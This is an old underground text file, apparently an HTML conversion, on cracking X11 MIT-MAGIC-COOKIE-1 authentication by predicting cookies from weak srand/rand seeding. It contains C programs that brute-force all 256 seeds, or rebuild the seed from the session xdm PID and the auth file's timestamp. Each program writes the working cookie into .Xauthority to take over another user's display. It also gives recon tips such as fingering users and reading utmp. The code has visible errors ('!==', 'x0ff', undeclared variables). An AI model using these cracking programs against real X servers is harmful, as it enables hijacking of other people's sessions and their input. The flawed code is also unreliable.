1) Auth-data is generated from 16 successive random numbers.
MIT-MAGIC-COOKIE-1 can use 2 different methods of seeding the random number generator:

a) Using the process ID of xdm client & time of day in seconds
b) Using the time of day in seconds & time of day in microseconds (that connection was established).

   #ifdef ITIMER_REAL 
     gettimeofday(&tod,&time_zone);
     a=tod.tv_secs;
     b=tod.tv_usecs;
   #else
     a=time(NULL);
     b=getpid();
   #endif 

     seed=(a+(b<<16));
     srand(seed); 

     for(i=0;i<16;i++)
      auth[i]=rand();

3) Some operating systems that use the traditional srand()/rand() functions have a mathematical flaw inherent in them that allows a faster method of cracking auth-data, or a brute force attack on a remote machine to which the user has no access.

To determine if the target system's OS supports the rand() flaw, compile and run the following src code under that operating system. Two systems that support the flaw are SunOS4.1.x and FreeBSD. OSF/x does NOT support the flaw.

     #include <stdio.h>
     main() {
      char auth[16];
      int i;

      srand(1);
      for(i=0;i<16;i++)
       auth[i]=rand()&0xff; 
      srand(257);
      for(i=0;i<16;i++)
       if (auth[i]!=(rand()&0xff))
	exit(0);
      puts("System supports flaw.");
     }

4) If the program produces no output, then the OS does NOT support the flaw, and hence the long method should be used (see step 7-)

[*] The flaw itself is that the low 8 bits of numbers produced by successive calls to rand() repeat in the same sequence with a period of 256. Consequently, under such Operating Systems, there are only 256 unique magic cookies that can ever be generated. It takes little longer than a second (on the local machine) to generate & test every one of these cookies.

5) Brute Force cracking of cookies generated using both methods (utilising rand()'s flaw)

The lower 8 bits of numbers produced by rand() follow a predictable pattern, and are a function of the lower 8 bits of the seed value. Hence, to crack the auth-data, trying auths generated with seed values 0x00-0xff will yield a matching auth-data set.

The code for such a method is as follows:

#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <X11/Xlib.h>
#include <X11/Xauth.h>

char buf[256];

main(int argc, char **argv) {
  long dpy;
  char *ptr=(caddr_t)&dpy;
  int i,j;
  FILE *fd;

  puts("display:");
  gets(buf);
  sscanf(buf,"%d.%d.%d.%d:0.0",ptr[0],ptr[1],ptr[2],ptr[3]);
    
  cookie.family=0;
  cookie.address_length=4;
  cookie.address=ptr;
  cookie.number_length=1;
  cookie.number="0";
  cookie.name_length=18; 
  cookie.name="MIT-MAGIC-COOKIE=1";
  cookie.data_length=16;
  cookie.data=auth;

  chdir(getenv("HOME"));
  if ((fd=fopen(".Xauthority","w"))==NULL)
   {
    perror("fopen");
    exit(1);
   }

  for(i=0;i<256;i++) {
   srand(i);
   for (j=0;j<16;j++)
    auth[j]=rand();
  
   rewind(fd);
   XauWriteAuth(fd,&cookie);
   fflush(fd);

   if (XOpenDisplay(buf)!==NULL) {
    puts("success!");
    puts("cookie added to .Xauthority");
    
    exit(0);
    }
  }

  fclose(fd);
  unlink(".hehe");
  puts("auth crack failed...");
 }  

6) Lazy people may furthur narrow the search space by determining the time of day (in seconds) at which the X-connection was created, and using the lower 8 bits of that time as a seed (for an exact, one shot crack or as a starting approximation for a seed value...). This can be determined by intelligent means, such as fingering the user, checking utmp logs etc etc (see step 7 for a good method)

7) Cracking cookies generated by method 'a' (on systems without the flaw)

On operating systems such as OSF/x, the flaw is (to all intents and purposes) has been removed by reversing the major and minor nibbles (effectively, returning (rand()>>16) ).

[*] The low 8 bits of the upper nibble (probably) repeat, but with a period of 2^24, making it too arduous to use brute force. Chances are, a login session would not last long enough for the cookie to be determined before the user logs out.

In order to crack a user's cookie, then, it is necessary to be able to find out the process id of the xdm handling a display (which would require being able to do a 'ps' on the machine serving the X-client), and to know the approximate time that the session was started.

A good way to determine the time of day that the session was created is to locate the file that contains the server's copy of the authority data, and to stat the file and use the creation time (st_ctime) as the time component of the seed.

Such files can be found in the authDir named in the xdm-config file (/usr/lib/X11/xdm/xdm-config -- or whatever follows the '-config' arg in xdm's command line) under DisplayManager.authDir .

[*] Note: this timestamp may be off by a second: If the authority data is created on a second boundary, by the time the data is written to the file (and the file is created), the timestamp will be a second later than the actual value required.

Should the generate data fail to work, try using the file's timestamp - 1 in the generation process.

[*] It should also be noted that sometimes auth-files from old xdm sessions for the same display are also in the directory (ie several authfiles for the same display).

The naming protocol for these files is something like:

A - < display name > - < xdm pid >

where the xdm pid is the number stored in the 'xdm-pid' file in the same directory.

A simple source (that uses the file timestamp idea outlined above) follows:

#include <stdio.h>
#include <X11/Xauth.h>
#include <sys/stat.h>
#include <sys/types.h>

main() {
 Xauth cookie;
 struct stat info;
 char buf[256],dpy[4],auth[16],disp[25];
 pid_t user_xdm;
 FILE *fd;
 int i,j;
 time_t now;

 puts("enter display (x.x.x.x:0.0)");
 gets(disp);
 sscanf(disp,"%d.%d.%d.%d:0.0\r",&dpy[0],&dpy[1],&dpy[2],&dpy[3]);

 /* NOTE that the id prompted for here is not the pid found
    in the xdm-pid file, but is the id of the session xdm process,
    which usually appears in a ps -a looking something like:

	- (xdm)
 */
 puts("enter session xdm id:");
 scanf("%d\r",&user_xdm);
 
 /* the pathname of the server's auth_file */
 puts("enter FULL pathname of server's auth file");
 gets(buf);

 if (stat(buf,&info) {
  puts("Oops, couldn't find file");
  exit(1);
  }
 now=info.st_ctime; 

 cookie.family=0;
 cookie.addr_length=4;
 cookie.addr=dpy;
 cookie.number_length=1;
 cookie.number="0";
 cookie.name_length=18;
 cookie.name="MIT-MAGIC-COOKIE-1";
 cookie.data_length=16;
 cookie.data=auth;

 chdir(getenv("HOME"));
 if ((fd=fopen(".Xauthority","w"))==NULL)
  {
   perror("fopen failed");
   exit(1);
  }

 for(i=0;i<2;i++) {
  srand(now+(user_xdm<<16));
  for(j=0;j<16;j++)
   auth[j]=rand()&x0ff;
  XauWriteAuth(fd,&cookie);
  fflush(fd);
  if (XOpenDisplay(disp)) {
   puts("cookie added to .Xauthority");
   fclose(fd);
   exit(0);
   }
  else {
   rewind(fd);
   now--;
   }
  }
  puts("Cookie not found!!!!");
  exit(1);
}

8) Cracking cookies generated by method b) (on systems without the flaw)

Good luck. The time of day is easily predicted by guesswork, or by statting the server's authfile, but the time of day in microseconds has to be guessed. Matters are made slightly easier by the fact that the time of day in milliseconds is left shifted by 16 bits (tv_msec << 16), and hence is only a 16-bit factor to deal with (iteratively trying 65536 microsecond timestamps is faster than 1,000,000).

If a user has access to the machine, it will take at most 2*65536 (accounting for the fact that the file's timestamp may be out by one second -- see 7) == 131072 iterations. Chances are slim that a user will stay logged on for a single session that long (console sessions are a possibility).

HTML-version by Markus Hübner